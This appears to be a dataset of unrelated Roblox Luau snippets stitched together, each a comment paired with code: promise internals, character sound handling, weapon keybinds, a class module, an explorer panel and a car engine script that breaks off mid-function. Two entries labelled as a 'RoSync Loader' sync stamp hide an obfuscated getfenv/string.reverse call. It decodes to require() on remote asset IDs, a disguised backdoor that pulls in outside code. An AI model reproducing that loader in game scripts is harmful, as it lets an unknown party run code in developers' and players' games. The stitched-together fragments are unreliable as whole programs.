--- Iterates through all the debug rays to see if they need to be cached or cleaned up
if adornmentsInUse > 0 then
for i = adornmentsInUse, 1, -1 do
if (os.clock() - VisualizerCache._AdornmentInUse[i].LastUse) >= DEFAULT_DEBUGGER_RAY_DURATION then
local adornment: AdornmentData? = table.remove(VisualizerCache._AdornmentInUse, i)
if adornment then
VisualizerCache:ReturnAdornment(adornment)
end
end
end
end
end)
--- Require all solvers
for castMode: string, enum: number in pairs(Hitbox.CastModes) do
local moduleScript: Instance? = Solvers:FindFirstChild(castMode)
if moduleScript then
local load = require(moduleScript)
solversCache[enum] = load
end
end
end
Init()
return Hitbox
|
--[=[
Converts this arbitrary value into an observable suitable for use in properties.
@param value any
@return Observable?
]=] |
function Blend.toPropertyObservable(value)
if Observable.isObservable(value) then
return value
elseif typeof(value) == "Instance" then
-- IntValue, ObjectValue, et cetera
if ValueBaseUtils.isValueBase(value) then
return RxValueBaseUtils.observeValue(value)
end
elseif type(value) == "table" then
if ValueObject.isValueObject(value) then
return ValueObjectUtils.observeValue(value)
elseif Promise.isPromise(value) then
return Rx.fromPromise(value)
elseif value.Observe then
return value:Observe()
end
end
return nil
end
|
--[[
Intended for use in tests.
Similar to await(), but instead of yielding if the promise is unresolved,
_unwrap will throw. This indicates an assumption that a promise has
resolved.
]] |
function Promise.prototype:_unwrap()
if self._status == Promise.Status.Started then
error("Promise has not resolved or rejected.", 2)
end
local success = self._status == Promise.Status.Resolved
return success, unpack(self._values, 1, self._valuesLength)
end
function Promise.prototype:_resolve(...)
if self._status ~= Promise.Status.Started then
if Promise.is((...)) then
(...):_consumerCancelled(self)
end
return
end
-- If the resolved value was a Promise, we chain onto it!
if Promise.is((...)) then
-- Without this warning, arguments sometimes mysteriously disappear
if select("#", ...) > 1 then
local message = string.format(
"When returning a Promise from andThen, extra arguments are " ..
"discarded! See:\n\n%s",
self._source
)
warn(message)
end
local chainedPromise = ...
local promise = chainedPromise:andThen(
function(...)
self:_resolve(...)
end,
function(...)
local maybeRuntimeError = chainedPromise._values[1]
-- Backwards compatibility < v2
if chainedPromise._error then
maybeRuntimeError = Error.new({
error = chainedPromise._error,
kind = Error.Kind.ExecutionError,
context = "[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]",
})
end
if Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then
return self:_reject(maybeRuntimeError:extend({
error = "This Promise was chained to a Promise that errored.",
trace = "",
context = string.format(
"The Promise at:\n\n%s\n...Rejected because it was chained to the following Promise, which encountered an error:\n",
self._source
),
}))
end
self:_reject(...)
end
)
if promise._status == Promise.Status.Cancelled then
self:cancel()
elseif promise._status == Promise.Status.Started then
-- Adopt ourselves into promise for cancellation propagation.
self._parent = promise
promise._consumers[self] = true
end
return
end
self._status = Promise.Status.Resolved
self._valuesLength, self._values = pack(...)
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedResolve) do
coroutine.wrap(callback)(...)
end
self:_finalize()
end
function Promise.prototype:_reject(...)
if self._status ~= Promise.Status.Started then
return
end
self._status = Promise.Status.Rejected
self._valuesLength, self._values = pack(...)
-- If there are any rejection handlers, call those!
if not isEmpty(self._queuedReject) then
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedReject) do
coroutine.wrap(callback)(...)
end
else
-- At this point, no one was able to observe the error.
-- An error handler might still be attached if the error occurred
-- synchronously. We'll wait one tick, and if there are still no
-- observers, then we should put a message in the console.
local err = tostring((...))
coroutine.wrap(function()
Promise._timeEvent:Wait()
-- Someone observed the error, hooray!
if not self._unhandledRejection then
return
end
-- Build a reasonable message
local message = string.format(
"Unhandled Promise rejection:\n\n%s\n\n%s",
err,
self._source
)
if Promise.TEST then
-- Don't spam output when we're running tests.
return
end
end)()
end
self:_finalize()
end
|
-- Connect 'setupPlayerData()' function to 'PlayerAdded' event |
game.Players.PlayerAdded:Connect(setupPlayerData)
return PlayerStatManager
|
-- TwinPlayz
-- Change the asset ID to any decal you want make sure your cursor is either transparent or not. |
game.Players.LocalPlayer:GetMouse().Icon = "rbxassetid://68308747";
|
--// KeyBindings |
FireSelectKey = Enum.KeyCode.V;
CycleSightKey = Enum.KeyCode.T;
LaserKey = Enum.KeyCode.L;
LightKey = Enum.KeyCode.G;
InteractKey = Enum.KeyCode.E;
AlternateAimKey = Enum.KeyCode.Z;
InspectionKey = Enum.KeyCode.H;
AttachmentKey = Enum.KeyCode.LeftControl;
|
-- Create component |
local TextLabel = Roact.PureComponent:extend 'TextLabel'
|
--[[ Last synced 7/2/2022 01:06 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
-- Roblox character sound script |
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local SOUND_DATA : { [string]: {[string]: any}} = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", --Change these IDs to what you want, it can be numbers, Roblox just has their default sounds look different.
Looped = true, --For example, if i change "rbxasset://sounds/action_footsteps_plastic.mp3" to your custom sound, it would play that sound when you have action footsteps. I don't know what action footsteps are im assuming it's just walking.
},
Died = {
SoundId = "rbxasset://sounds/uuhhh.mp3",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
Pitch = 1.85,
},
Splash = {
SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
|
--[=[
Creates an immediately rejected Promise with the given value.
:::caution
Something needs to consume this rejection (i.e. `:catch()` it), otherwise it will emit an unhandled Promise rejection warning on the next frame. Thus, you should not create and store rejected Promises for later use. Only create them on-demand as needed.
:::
```lua
-- Example using Promise.resolve to deliver cached values:
function getSomething(name)
if cache[name] then
return Promise.resolve(cache[name])
else
return Promise.new(function(resolve, reject)
local thing = getTheThing()
cache[name] = thing
resolve(thing)
end)
end
end
```
@param ... any
@return Promise<...any>
]=] |
function Promise.reject(...)
local length, values = pack(...)
return Promise._new(debug.traceback(nil, 2), function(_, reject)
reject(unpack(values, 1, length))
end)
end
|
--[=[
@return table
Returns a serialized version of the option.
]=] |
function Option:Serialize()
return {
ClassName = self.ClassName;
Value = self._v;
}
end
|
-- padding between each entry |
local ENTRY_MARGIN = 1
local explorerPanel = script.Parent
local Input = game:GetService("UserInputService")
local HoldingCtrl = false
local HoldingShift = false
local addObject
local removeObject
local gameChildren = {}
table.insert(gameChildren, game:GetService("Workspace"))
table.insert(gameChildren, game:GetService("Players"))
table.insert(gameChildren, game:GetService("Lighting"))
table.insert(gameChildren, game:GetService("ReplicatedFirst"))
table.insert(gameChildren, game:GetService("ReplicatedStorage"))
pcall(function()
table.insert(gameChildren, game:GetService("CoreGui"))
end)
table.insert(gameChildren, game:GetService("StarterGui"))
table.insert(gameChildren, game:GetService("StarterPack"))
table.insert(gameChildren, game:GetService("StarterPlayer"))
table.insert(gameChildren, game:GetService("SoundService"))
table.insert(gameChildren, game:GetService("Chat"))
table.insert(gameChildren, game:GetService("LocalizationService"))
table.insert(gameChildren, game:GetService("TestService"))
local childrenGame = {}
childrenGame[game:GetService("Workspace")] = true
childrenGame[game:GetService("Players")] = true
childrenGame[game:GetService("Lighting")] = true
childrenGame[game:GetService("ReplicatedFirst")] = true
childrenGame[game:GetService("ReplicatedStorage")] = true
pcall(function()
childrenGame[game:GetService("CoreGui")] = true
end)
childrenGame[game:GetService("StarterGui")] = true
childrenGame[game:GetService("StarterPack")] = true
childrenGame[game:GetService("StarterPlayer")] = true
childrenGame[game:GetService("SoundService")] = true
childrenGame[game:GetService("Chat")] = true
childrenGame[game:GetService("LocalizationService")] = true
childrenGame[game:GetService("TestService")] = true
local MuteHiddenItems = true
local DexOutput = Instance_new("Folder")
DexOutput.Name = "Output"
local DexOutputMain = Instance_new("ScreenGui", DexOutput)
DexOutputMain.Name = "Dex Output"
local HiddenEntries = Instance_new("Folder")
local HiddenGame = Instance_new("Folder")
HiddenEntries.Name = "HiddenEntriesParent"
local HiddenEntriesMain = Instance_new("TextButton", HiddenEntries)
Instance_new("Folder", HiddenEntriesMain)
local function NameHiddenEntries()
if MuteHiddenItems then
HiddenEntriesMain.Name = "Expand to view (" .. (#game:children() - #gameChildren) .. ") hidden items"
else
HiddenEntriesMain.Name = "Collapse to hide (" .. (#game:children() - #gameChildren) .. ") more items"
end
end
NameHiddenEntries()
local function print(...)
local Obj = Instance_new("Dialog")
Obj.Parent = DexOutputMain
Obj.Name = ""
for i,v in pairs(table.pack(...)) do
Obj.Name = Obj.Name .. tostring(v) .. " "
end
end
explorerPanel:WaitForChild("GetPrint").OnInvoke = function()
return print
end
|
--[[
An xpcall() error handler to collect and parse useful information about
errors, such as clean messages and stack traces.
]] |
local Package = script.Parent.Parent
local Types = require(Package.Types)
local function parseError(err: string): Types.Error
return {
raw = err,
message = err:gsub("^.+:%d+:%s*", ""),
trace = debug.traceback(nil, 2)
}
end
return parseError
|
-- Parts |
local Frame = Home:WaitForChild("Frame")
local Hook1 = Swing1:WaitForChild("Hook1")
local Hook2 = Swing1:WaitForChild("Hook2")
local Hook3 = Swing2:WaitForChild("Hook3")
local Hook4 = Swing2:WaitForChild("Hook4")
local SwingSeat1 = Swing1:WaitForChild("SwingSeat1")
local SwingSeat2 = Swing2:WaitForChild("SwingSeat2")
local SwingMesh1 = Swing1:WaitForChild("SwingMesh1")
local SwingMesh2 = Swing2:WaitForChild("SwingMesh2")
local RopeSupport1 = Supports:WaitForChild("RopeSupport1")
local RopeSupport2 = Supports:WaitForChild("RopeSupport2")
local RopeSupport3 = Supports:WaitForChild("RopeSupport3")
local RopeSupport4 = Supports:WaitForChild("RopeSupport4")
|
--[[ Last synced 10/9/2020 09:09 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--- Validates that all of the arguments are in a valid state.
-- This must be called before :Run() is called.
-- Returns boolean (true if ok), errorText |
function Command:Validate (isFinal)
self._Validated = true
local errorText = ""
local success = true
for i, arg in pairs(self.Arguments) do
local argSuccess, argErrorText = arg:Validate(isFinal)
if not argSuccess then
success = false
errorText = ("%s; #%d %s: %s"):format(errorText, i, arg.Name, argErrorText or "error")
end
end
return success, errorText:sub(3)
end
|
--[[ Place this script into "StarterPlayer.StarterPlayerScripts" ]] | --
local StarterGui = game:GetService("StarterGui")
|
-- map a value from one range to another |
local function map(x, inMin, inMax, outMin, outMax)
return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end
local function playSound(sound)
sound.TimePosition = 0
sound.Playing = true
end
local function stopSound(sound)
sound.Playing = false
sound.TimePosition = 0
end
local function shallowCopy(t)
local out = {}
for k, v in pairs(t) do
out[k] = v
end
return out
end
local function initializeSoundSystem(player, humanoid, rootPart)
local sounds = {}
-- initialize sounds
for name, props in pairs(SOUND_DATA) do
local sound = Instance.new("Sound")
sound.Name = name
-- set default values
sound.Archivable = false
sound.EmitterSize = 5
sound.MaxDistance = 150
sound.Volume = 0.65
for propName, propValue in pairs(props) do
sound[propName] = propValue
end
sound.Parent = rootPart
sounds[name] = sound
end
local playingLoopedSounds = {}
local function stopPlayingLoopedSounds(except)
for sound in pairs(shallowCopy(playingLoopedSounds)) do
if sound ~= except then
sound.Playing = false
playingLoopedSounds[sound] = nil
end
end
end
-- state transition callbacks
local stateTransitions = {
[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSounds()
end,
[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSounds()
playSound(sounds.GettingUp)
end,
[Enum.HumanoidStateType.Jumping] = function()
stopPlayingLoopedSounds()
playSound(sounds.Jumping)
end,
[Enum.HumanoidStateType.Swimming] = function()
local verticalSpeed = math.abs(rootPart.Velocity.Y)
if verticalSpeed > 0.1 then
sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
playSound(sounds.Splash)
end
stopPlayingLoopedSounds(sounds.Swimming)
sounds.Swimming.Playing = true
playingLoopedSounds[sounds.Swimming] = true
end,
[Enum.HumanoidStateType.Freefall] = function()
sounds.FreeFalling.Volume = 0
stopPlayingLoopedSounds(sounds.FreeFalling)
playingLoopedSounds[sounds.FreeFalling] = true
end,
[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSounds()
local verticalSpeed = math.abs(rootPart.Velocity.Y)
if verticalSpeed > 75 then
sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
playSound(sounds.Landing)
end
end,
[Enum.HumanoidStateType.Running] = function()
stopPlayingLoopedSounds(sounds.Running)
sounds.Running.Playing = true
playingLoopedSounds[sounds.Running] = true
end,
[Enum.HumanoidStateType.Climbing] = function()
local sound = sounds.Climbing
if math.abs(rootPart.Velocity.Y) > 0.1 then
sound.Playing = true
stopPlayingLoopedSounds(sound)
else
stopPlayingLoopedSounds()
end
playingLoopedSounds[sound] = true
end,
[Enum.HumanoidStateType.Seated] = function()
stopPlayingLoopedSounds()
end,
[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSounds()
playSound(sounds.Died)
end,
}
-- updaters for looped sounds
local loopedSoundUpdaters = {
[sounds.Climbing] = function(dt, sound, vel)
sound.Playing = vel.Magnitude > 0.1
end,
[sounds.FreeFalling] = function(dt, sound, vel)
if vel.Magnitude > 75 then
sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
else
sound.Volume = 0
end
end,
[sounds.Running] = function(dt, sound, vel)
sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
end,
}
-- state substitutions to avoid duplicating entries in the state table
local stateRemap = {
[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
}
local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
local activeConnections = {}
local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
state = stateRemap[state] or state
if state ~= activeState then
local transitionFunc = stateTransitions[state]
if transitionFunc then
transitionFunc()
end
activeState = state
end
end)
local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
-- update looped sounds on stepped
for sound in pairs(playingLoopedSounds) do
local updater = loopedSoundUpdaters[sound]
if updater then
updater(worldDt, sound, rootPart.Velocity)
end
end
end)
local humanoidAncestryChangedConn
local rootPartAncestryChangedConn
local characterAddedConn
local function terminate()
stateChangedConn:Disconnect()
steppedConn:Disconnect()
humanoidAncestryChangedConn:Disconnect()
rootPartAncestryChangedConn:Disconnect()
characterAddedConn:Disconnect()
end
humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
if not parent then
terminate()
end
end)
rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
if not parent then
terminate()
end
end)
characterAddedConn = player.CharacterAdded:Connect(terminate)
end
local function playerAdded(player)
local function characterAdded(character)
-- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:
-- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.
-- ** must use a waitForFirst on everything and listen for hierarchy changes.
-- * the character might not be in the dm by the time CharacterAdded fires
-- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again
-- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.
-- * RootPart probably won't exist immediately.
-- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.
if not character.Parent then
waitForFirst(character.AncestryChanged, player.CharacterAdded)
end
if player.Character ~= character or not character.Parent then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
while character:IsDescendantOf(game) and not humanoid do
waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)
humanoid = character:FindFirstChildOfClass("Humanoid")
end
if player.Character ~= character or not character:IsDescendantOf(game) then
return
end
-- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals
local rootPart = character:FindFirstChild("HumanoidRootPart")
while character:IsDescendantOf(game) and not rootPart do
waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)
rootPart = character:FindFirstChild("HumanoidRootPart")
end
if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then
initializeSoundSystem(player, humanoid, rootPart)
end
end
if player.Character then
characterAdded(player.Character)
end
player.CharacterAdded:Connect(characterAdded)
end
Players.PlayerAdded:Connect(playerAdded)
for _, player in ipairs(Players:GetPlayers()) do
playerAdded(player)
end
|
--I am an academic weapon and machine. |
local MWorks = require(game:GetService("ReplicatedStorage"):WaitForChild("Package").MWorks)
local module = {}
function module:setupUpdate() --Not used externally. Used for setting up classes of all types
self.Updated = MWorks.newBindable()
end
function module.newClass(attributes)
local self = {}
if attributes then
for i,v in pairs(attributes) do
self[i] = v
end
end
setmetatable(self,{
__index = module;
})
self:setupUpdate()
return self
end
function module:newSubClass(Name,attributes)
local subClass = {}
self[Name] = subClass
if attributes then
for i,v in pairs(attributes) do
self[i] = v
end
end
setmetatable(subClass,{__index = self})
subClass:setupUpdate()
return subClass
end
function module:Update(...)
local args = table.pack(...)
if type(args[1]) == "table" then
local Table = args[1]
for i,v in pairs(Table) do
if self[i] then
self[i] = v
self.Updated:Fire(i,v)
end
end
elseif args[1] ~= nil then
local Name = args[1]
local Value = args[2]
self[Name] = Value
self.Updated:Fire(Name,Value)
else
self.Updated:Fire()
end
end
function module:newValue(...)
local args = table.pack(...)
local index;
local Value;
if #args < 1 then return end
if #args > 1 then
index = args[1]
Value = args[2]
else
index = #self+1
Value = args[1]
end
self[index] = Value
self:Update(index,Value)
return index
end
function module:removeValue(index)
if self[index] == nil then return end
self[index] = nil
self:Update()
end
return module
|
--Protected Turn 2A--: Standard GYR with a protected turn for two signal directions on one road and one on intersecting road |
--USES: Signal1, Signal1a, Signal2, Signal2a, Turn1, Turn2
while true do
PedValues = script.Parent.Parent.PedValues
SignalValues = script.Parent.Parent.SignalValues
TurnValues = script.Parent.Parent.TurnValues |
--// Walk and Sway |
local L_125_
local L_126_ = 0.6
local L_127_ = 0.05 -- speed
local L_128_ = -0.1 -- height
local L_129_ = 0
local L_130_ = 0
local L_131_ = 35 --This is the limit of the mouse input for the sway
local L_132_ = -9 --This is the magnitude of the sway when you're unaimed
local L_133_ = -9 --This is the magnitude of the sway when you're aimed
|
-- Gradually regenerates the Humanoid's Health over time. |
local REGEN_RATE = .5/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 3 -- Wait this long between each regeneration step.
|
-- Functional Services |
tween_service = game:GetService("TweenService")
|
--Body Mover Setup-- |
local bp = body.BodyPosition
bp.Position = body.Position
bp.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
local bg = myRoot.BodyGyro
bg.CFrame = myRoot.CFrame
bg.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
bgTorque = bg.MaxTorque
|
--[[Engine]] |
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
if _Tune.Aspiration == "Single" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
--Powertrain
wait()
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
--Apply Power
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
if car.DriveSeat.Tic.Value then
revMin = 0
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
local maxCount=0
for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
maxSpin=maxSpin/maxCount
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
if ((car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) > car.DriveSeat.CCS.Value) and (car.DriveSeat.CC.Value == true) then
_HP,_OutTorque = 0,0
else
if _Tune.Aspiration ~= "Natural" then
local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if car.DriveSeat.AWD.Value then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if car.DriveSeat.AWD.Value then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not car.DriveSeat.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = (math.min(_GThrot +_CThrot,1)) * _GThrotShift
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
